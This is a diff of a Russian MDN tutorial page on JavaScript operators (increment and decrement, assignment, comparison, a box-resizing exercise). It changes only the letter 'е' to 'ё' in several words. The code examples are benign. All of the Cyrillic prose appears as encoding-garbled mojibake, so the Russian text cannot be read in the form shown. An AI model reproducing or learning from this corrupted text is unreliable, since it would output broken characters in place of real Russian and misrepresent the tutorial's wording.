ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π½ΠΎΠ²ΠΎΠ΅ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½ΠΎΠ΅ число, Π° Π½Π΅ просто вычисляСм Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ ошибкС:</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ ΡΡ‹Π³Ρ€Π°Ρ‚ΡŒ с этим Π² вашСй консоли. Для Π½Π°Ρ‡Π°Π»Π° Π·Π°ΠΌΠ΅Ρ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚/Π΄Π΅ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ нСпосрСдствСнно ΠΊ числу, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ странным. Π”Π΅Π»ΠΎ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΒ ΠΌΡ‹ присваиваСм ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π½ΠΎΠ²ΠΎΠ΅ ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΠΎΠ΅ число, Π° Π½Π΅ просто вычисляСм Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ ошибкС:</p>
<pre class="brush: js">3++;</pre>
@@ -207,7 +207,7 @@ num2 + num1 / 8 + 2;</pre>
<pre class="brush: js">var num1 = 4;
num1++;</pre>
-<p>Π’Π°ΠΊ, вторая ΡΡ‚Ρ€Π°Π½Π½ΠΎΡΡ‚ΡŒ! Если Π²Ρ‹ сдСлаСтС это, Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 4 - Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ число, послС Ρ‡Π΅Π³ΠΎ примСняСт ΠΊ Π½Π΅ΠΌΡƒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ ΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚Π°. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ΄ΠΎΡΡ‚ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ Π±Ρ‹Π» ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½, ΡƒΠ·Π½Π°Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π΅Ρ‰Π΅ Ρ€Π°Π·:</p>
+<p>Π’Π°ΠΊ, вторая ΡΡ‚Ρ€Π°Π½Π½ΠΎΡΡ‚ΡŒ! Если Π²Ρ‹ сдСлаСтС это, Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 4 - Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ число, послС Ρ‡Π΅Π³ΠΎ примСняСт ΠΊ Π½Π΅ΠΌΡƒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ ΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚Π°. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ΄ΠΎΡΡ‚ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒΡΡ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ Π±Ρ‹Π» ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½, ΡƒΠ·Π½Π°Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π΅Ρ‰Ρ‘ Ρ€Π°Π·:</p>
<pre class="brush: js">num1;</pre>
@@ -218,7 +218,7 @@ num2--;
num2;</pre>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΄Π΅Π»Π°Ρ‚ΡŒ это Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ порядкС - ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚/Π΄Π΅ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΡ‚ΠΎΠΌ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Для этого Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ слСва ΠΎΡ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, Π° Π½Π΅ справа. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ свСрху Π΅Ρ‰Π΅ Ρ€Π°Π·, Π½ΠΎ Π² этот Ρ€Π°Π· ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <code>++num1</code> ΠΈ <code>--num2</code>.Β </p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΄Π΅Π»Π°Ρ‚ΡŒ это Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ порядкС - ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΈΠ½ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚/Π΄Π΅ΠΊΡ€Π΅ΠΌΠ΅Π½Ρ‚ ΠΈ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠΎΡ‚ΠΎΠΌ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. Для этого Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π·Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ слСва ΠΎΡ‚ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ, Π° Π½Π΅ справа. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ свСрху Π΅Ρ‰Ρ‘ Ρ€Π°Π·, Π½ΠΎ Π² этот Ρ€Π°Π· ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <code>++num1</code> ΠΈ <code>--num2</code>.Β </p>
</div>
<h2 id="ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹_присваивания">ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ присваивания</h2>
@@ -229,7 +229,7 @@ num2;</pre>
var y = 4; // y содСрТит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 4
x = y; // x Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ содСрТит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ y (x == 4)</pre>
-<p>Однако Π΅ΡΡ‚ΡŒ Π΅Ρ‰Π΅ нСсколько слоТных конструкций, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ ваш ΠΊΠΎΠ΄ Π±ΠΎΠ»Π΅Π΅ простым ΠΈ Π°ΠΊΠΊΡƒΡ€Π°Ρ‚Π½Ρ‹ΠΌ. НаиболСС часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ пСрСчислСны Π½ΠΈΠΆΠ΅:</p>
+<p>Однако Π΅ΡΡ‚ΡŒ Π΅Ρ‰Ρ‘ нСсколько слоТных конструкций, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π΄Π΅Π»Π°Ρ‚ΡŒ ваш ΠΊΠΎΠ΄ Π±ΠΎΠ»Π΅Π΅ простым ΠΈ Π°ΠΊΠΊΡƒΡ€Π°Ρ‚Π½Ρ‹ΠΌ. НаиболСС часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ пСрСчислСны Π½ΠΈΠΆΠ΅:</p>
<table class="standard-table">
<thead>
@@ -292,7 +292,7 @@ var y = 4; // y содСрТит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 4
x *= y; // x содСрТит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 12</pre>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°: Π΅ΡΡ‚ΡŒ Π΅Ρ‰Π΅Β <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Expressions_and_Operators">Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ присваивания</a></strong>,<strong> Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ пСрСчислСны Ρ‚ΠΎΠ»ΡŒΠΊΠΎ самыС Π±Π°Π·ΠΎΠ²Ρ‹Π΅.</strong></p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°: Π΅ΡΡ‚ΡŒ Π΅Ρ‰Ρ‘Β <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Guide/Expressions_and_Operators">Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ присваивания</a></strong>,<strong> Π² этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ пСрСчислСны Ρ‚ΠΎΠ»ΡŒΠΊΠΎ самыС Π±Π°Π·ΠΎΠ²Ρ‹Π΅.</strong></p>
</div>
<h2 id="АктивноС_ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅_мСняСм_Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹_ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ">АктивноС ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅: мСняСм Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ</h2>
@@ -306,15 +306,15 @@ x *= y; // x содСрТит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 12</pre>
<p>Π’ ΠΊΠΎΠ΄Π΅ свСрху, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ, ΠΏΠΎΠ΄ ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠ΅ΠΌ Π΅ΡΡ‚ΡŒ Π΄Π²Π΅ строчки, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Ρ‚ΡŒ/ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ ΠΊΠΎΡ€ΠΎΠ±ΠΊΠΈ. ΠœΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΠ»ΠΈ нСсколько Π·Π°Π΄Π°Π½ΠΈΠΉ:</p>
<ul>
- <li>ΠŸΠΎΠΌΠ΅Π½ΡΠΉΡ‚Π΅ строчку с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ x Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠΎΡ€ΠΎΠ±ΠΊΠ° Π±Ρ‹Π»Π° ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉΒ 50px, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ 50 Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ вычислСно с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ чисСл 43 ΠΈ 7 ΠΈ арифмСтичСского ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°.</li>
- <li>ΠŸΠΎΠΌΠ΅Π½ΡΠΉΡ‚Π΅ строчку с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ y Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠΎΡ€ΠΎΠ±ΠΊΠ° Π±Ρ‹Π»Π° высотой 75px, ΠΏΡ€ΠΈΡ‡Π΅ΠΌΒ 75 Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ вычислСно с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ чисСл 25 ΠΈ 3 ΠΈ арифмСтичСского ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°.</li>
+ <li>ΠŸΠΎΠΌΠ΅Π½ΡΠΉΡ‚Π΅ строчку с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ x Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠΎΡ€ΠΎΠ±ΠΊΠ° Π±Ρ‹Π»Π° ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉΒ 50px, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ 50 Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ вычислСно с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ чисСл 43 ΠΈ 7 ΠΈ арифмСтичСского ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°.</li>
+ <li>ΠŸΠΎΠΌΠ΅Π½ΡΠΉΡ‚Π΅ строчку с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ y Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠΎΡ€ΠΎΠ±ΠΊΠ° Π±Ρ‹Π»Π° высотой 75px, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌΒ 75 Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ вычислСно с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ чисСл 25 ΠΈ 3 ΠΈ арифмСтичСского ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π°.</li>
<li>ΠŸΠΎΠΌΠ΅Π½ΡΠΉΡ‚Π΅ строчку с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌΒ yΒ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠΎΡ€ΠΎΠ±ΠΊΠ° Π±Ρ‹Π»Π° высотой 250, ΠΏΡ€ΠΈ этом 250 вычислСно с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π΄Π²ΡƒΡ… чисСл ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ взятия остатка (ΠΌΠΎΠ΄ΡƒΠ»ΡŒ).</li>
- <li>ΠŸΠΎΠΌΠ΅Π½ΡΠΉΡ‚Π΅ строчку с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ y Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠΎΡ€ΠΎΠ±ΠΊΠ° Π±Ρ‹Π»Π° высотой 150px, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ 150 вычислСно с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚Ρ€Π΅Ρ… чисСл ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² вычитания ΠΈ дСлСния.</li>
+ <li>ΠŸΠΎΠΌΠ΅Π½ΡΠΉΡ‚Π΅ строчку с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ y Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠΎΡ€ΠΎΠ±ΠΊΠ° Π±Ρ‹Π»Π° высотой 150px, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ 150 вычислСно с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚Ρ€Ρ‘Ρ… чисСл ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² вычитания ΠΈ дСлСния.</li>
<li>ΠŸΠΎΠΌΠ΅Π½ΡΠΉΡ‚Π΅ строчку с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ x Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠΎΡ€ΠΎΠ±ΠΊΠ° Π±Ρ‹Π»Π° ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ 200px, ΠΏΡ€ΠΈ этом 200 вычислСно с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ числа 4 ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Π° присваивания.</li>
- <li>ΠŸΠΎΠΌΠ΅Π½ΡΠΉΡ‚Π΅ строчку с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ y Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠΎΡ€ΠΎΠ±ΠΊΠ° Π±Ρ‹Π»Π° высотой 200px, ΠΏΡ€ΠΈΡ‡Π΅ΠΌ 200 вычислСно с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ чисСл 50 ΠΈ 3 ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² умноТСния ΠΈ присваивания слоТСния.</li>
+ <li>ΠŸΠΎΠΌΠ΅Π½ΡΠΉΡ‚Π΅ строчку с Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ y Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΊΠΎΡ€ΠΎΠ±ΠΊΠ° Π±Ρ‹Π»Π° высотой 200px, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ 200 вычислСно с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ чисСл 50 ΠΈ 3 ΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠ² умноТСния ΠΈ присваивания слоТСния.</li>
</ul>
-<p>НС Ρ€Π°ΡΡΡ‚Ρ€Π°ΠΈΠ²Π°ΠΉΡ‚Π΅ΡΡŒ, Ссли Π²Ρ‹ Π½Π΅ поняли ΠΊΠΎΠ΄ свСрху. НаТмитС ΠΊΠ½ΠΎΠΏΠΊΡƒΒ <em>Reset</em> для запуска ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ снова. Если Π²Ρ‹ смогли ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ΡŒΒ Π²Π΅Ρ€Π½ΠΎ Π½Π° всС вопросы, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΠΎΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с ΠΊΠΎΠ΄ΠΎΠΌ Π΅Ρ‰Π΅ (ΠΈΠ»ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ΡŒ Π΄Ρ€ΡƒΠ·ΡŒΡΠΌ нСсколько Π·Π°Π΄Π°Π½ΠΈΠΉ).</p>
+<p>НС Ρ€Π°ΡΡΡ‚Ρ€Π°ΠΈΠ²Π°ΠΉΡ‚Π΅ΡΡŒ, Ссли Π²Ρ‹ Π½Π΅ поняли ΠΊΠΎΠ΄ свСрху. НаТмитС ΠΊΠ½ΠΎΠΏΠΊΡƒΒ <em>Reset</em> для запуска ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ снова. Если Π²Ρ‹ смогли ΠΎΡ‚Π²Π΅Ρ‚ΠΈΡ‚ΡŒΒ Π²Π΅Ρ€Π½ΠΎ Π½Π° всС вопросы, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΏΠΎΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ с ΠΊΠΎΠ΄ΠΎΠΌ Π΅Ρ‰Ρ‘ (ΠΈΠ»ΠΈ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€Π΅Π΄Π»ΠΎΠΆΠΈΡ‚ΡŒ Π΄Ρ€ΡƒΠ·ΡŒΡΠΌ нСсколько Π·Π°Π΄Π°Π½ΠΈΠΉ).</p>
<h2 id="ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹_сравнСния">ΠžΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€Ρ‹ сравнСния</h2>
@@ -405,10 +405,10 @@ function updateBtn() {
<p><strong><a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/maths/conditional.html">ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ Π² Π½ΠΎΠ²ΠΎΠΌ ΠΎΠΊΠ½Π΅</a></strong></p>
-<p>ΠœΡ‹ использовали ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ равСнства Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>updateBtn()</code>. Π’ этом случаС ΠΌΡ‹ Π½Π΅ провСряСм ΠΏΠ°Ρ€Ρƒ матСматичСских Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π½Π° равСнство Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ β€”Β ΠΌΡ‹ просто смотрим, являСтся Π»ΠΈ тСкст Π½Π° ΠΊΠ½ΠΎΠΏΠΊΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ строкой — Ρ‡Ρ‚ΠΎ ΠΏΠΎ сути являСтся Ρ‚Π΅ΠΌ ΠΆΠ΅ самым. Если ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ содСрТит "Start machine", ΠΌΡ‹ мСняСм содСрТимоС ΠΌΠ΅Ρ‚ΠΊΠΈ Π½Π° "Stop machine" ΠΈ обновляСм ΠΌΠ΅Ρ‚ΠΊΡƒ. Если ΠΆΠ΅ тСкст ΠΊΠ½ΠΎΠΏΠΊΠΈΒ β€” "Stop machine", ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ΠΌΡ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ всС ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ.Β </p>
+<p>ΠœΡ‹ использовали ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ равСнства Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>updateBtn()</code>. Π’ этом случаС ΠΌΡ‹ Π½Π΅ провСряСм ΠΏΠ°Ρ€Ρƒ матСматичСских Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ Π½Π° равСнство Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ β€”Β ΠΌΡ‹ просто смотрим, являСтся Π»ΠΈ тСкст Π½Π° ΠΊΠ½ΠΎΠΏΠΊΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ строкой — Ρ‡Ρ‚ΠΎ ΠΏΠΎ сути являСтся Ρ‚Π΅ΠΌ ΠΆΠ΅ самым. Если ΠΊΠ½ΠΎΠΏΠΊΠ° ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ содСрТит "Start machine", ΠΌΡ‹ мСняСм содСрТимоС ΠΌΠ΅Ρ‚ΠΊΠΈ Π½Π° "Stop machine" ΠΈ обновляСм ΠΌΠ΅Ρ‚ΠΊΡƒ. Если ΠΆΠ΅ тСкст ΠΊΠ½ΠΎΠΏΠΊΠΈΒ β€” "Stop machine", ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ΠΌΡ‹ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌ всС ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ.Β </p>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Π’Π°ΠΊΠΎΠΉ элСмСнт управлСния, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ ΠΌΠ΅ΠΆΠ΄Ρƒ двумя состояниями, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ называСтся <strong>Ρ‚ΡƒΠΌΠ±Π»Π΅Ρ€ΠΎΠΌ</strong>. Он ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΎΠ΄Π½ΠΈΠΌ состояниСм ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌ: свСт Π²ΠΊΠ»ΡŽΡ‡Π΅Π½, свСт Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΈ Ρ‚. Π΄.</p>
